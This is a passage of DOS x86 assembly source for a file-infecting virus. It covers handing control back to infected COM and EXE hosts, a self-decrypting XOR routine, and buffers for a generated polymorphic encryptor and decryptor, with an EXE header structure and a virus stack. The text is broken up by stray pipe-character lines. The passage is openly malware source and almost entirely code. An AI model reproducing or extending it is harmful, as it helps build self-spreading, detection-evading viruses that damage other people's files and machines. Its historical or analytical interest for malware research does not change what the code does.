||
|
|
mov es,ax ; Let es contain PSP
|
||
|
|
add ax,10h ; Get start of file
|
||
|
|
|
||
|
|
add word ptr cs:[si+Real_CS],ax ; Add start seg to CS
|
||
|
|
add ax,word ptr cs:[si+Real_SS]
|
||
|
|
mov ss,ax ; Get programs SS
|
||
|
|
mov sp,word ptr cs:[si+Real_SP] ; Get programs SP
|
||
|
|
sub sp,2 ; Fix right value for SP
|
||
|
|
|
||
|
|
push word ptr cs:[si+Real_CS]
|
||
|
|
push word ptr cs:[si+Real_IP]
|
||
|
|
xor ax,ax
|
||
|
|
xor bx,bx
|
||
|
|
xor cx,cx
|
||
|
|
xor dx,dx
|
||
|
|
mov si,ax
|
||
|
|
mov di,ax
|
||
|
|
mov bp,ax
|
||
|
|
retf
|
||
|
|
|
||
|
|
RestoreComFile:
|
||
|
|
mov ax,cs
|
||
|
|
mov ds,ax
|
||
|
|
mov es,ax
|
||
|
|
|
||
|
|
add si,offset buffer ; Restore real 3 first bytes
|
||
|
|
mov di,0100h
|
||
|
|
movsw
|
||
|
|
movsb
|
||
|
|
xor ax,ax
|
||
|
|
xor bx,bx
|
||
|
|
xor cx,cx
|
||
|
|
xor dx,dx
|
||
|
|
mov si,ax
|
||
|
|
mov di,ax
|
||
|
|
mov bp,ax
|
||
|
|
push 0100h
|
||
|
|
ret
|
||
|
|
|
||
|
|
SimpleCryptEnd:
|
||
|
|
|
||
|
|
StartDecryptSimple:
|
||
|
|
call GetIPLabel
|
||
|
|
GetIPLabel:
|
||
|
|
mov bp,sp
|
||
|
|
mov si,[bp]
|
||
|
|
sub si,GetIPLabel-SimpleCryptStart
|
||
|
|
mov cx, SimpleCryptEnd-SimpleCryptStart
|
||
|
|
Call DecryptSimple
|
||
|
|
pop ax
|
||
|
|
ret
|
||
|
|
|
||
|
|
EncryptDecryptSimple:
|
||
|
|
mov si,offset SimpleCryptStart
|
||
|
|
mov cx, SimpleCryptEnd-SimpleCryptStart
|
||
|
|
call DecryptSimple
|
||
|
|
ret
|
||
|
|
|
||
|
|
DecryptSimple:
|
||
|
|
db 02eh,080h,034h ; xor byte ptr cs:[si],?
|
||
|
|
DSRan db 0
|
||
|
|
inc si
|
||
|
|
loop DecryptSimple
|
||
|
|
ret
|
||
|
|
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||
|
|
;+ Following code acts like a buffer in memory, and is not :+
|
||
|
|
;+ included when the virus is written to a file. :+
|
||
|
|
;+ (Normally known as the heap) :+
|
||
|
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||
|
|
|
||
|
|
filecodeend: ; Label to calculate code_size,
|
||
|
|
; and to use when jumping to copy
|
||
|
|
; of EWD-routine
|
||
|
|
|
||
|
|
ED_buf db ED_end-ED_start dup (?) ; space for copy of en EWD-routine
|
||
|
|
|
||
|
|
File_H dw ? ; Filehandle
|
||
|
|
|
||
|
|
; Space for the created decryptionroutine
|
||
|
|
|
||
|
|
InitCX1 db ?,?,? ; mov cx,virsize+(0 to 7)
|
||
|
|
InitSI1 db ?,?,? ; mov si,offset start
|
||
|
|
CCode1 dd ?,?,?,?,?,?,?,? ; 1 to 15 decryptrows
|
||
|
|
dd ?,?,?,?,?,?,?
|
||
|
|
dd ?,? ; + loop statement
|
||
|
|
|
||
|
|
; Space for the created encryptionroutine
|
||
|
|
|
||
|
|
CCode2 dd ?,?,?,?,?,?,?,? ; 1 to 15 decryptrows
|
||
|
|
dd ?,?,?,?,?,?,?
|
||
|
|
dd ?,?
|
||
|
|
|
||
|
|
EXE_Header: ; Structure
|
||
|
|
EXE_Sig dw ? ; MZ or ZM
|
||
|
|
EXE_Mod dw ? ; size - int(size/512)
|
||
|
|
EXE_Siz dw ? ; size/512
|
||
|
|
EXE_Rel dw ? ; Relocation iems
|
||
|
|
EXE_SHe dw ? ; Size of header/16
|
||
|
|
EXE_Min dw ? ; Min mem/16
|
||
|
|
EXE_Max dw ? ; Max mem/16
|
||
|
|
EXE_SS dw ? ; Stack Segement
|
||
|
|
EXE_SP dw ? ; Stack Pointer
|
||
|
|
EXE_CHK dw ? ; Checksum
|
||
|
|
EXE_IP dw ? ; Instruction Pointer
|
||
|
|
EXE_CS dw ? ; Code Segment
|
||
|
|
EXE_Win db ? ; 40h if Windows EXE
|
||
|
|
|
||
|
|
VirStk: db 32 dup (?) ; Stack used by the virus (EXE only)
|
||
|
|
|
||
|
|
code_end:
|
||
|
|
end start
|
||
|
|
;===============================================================================
|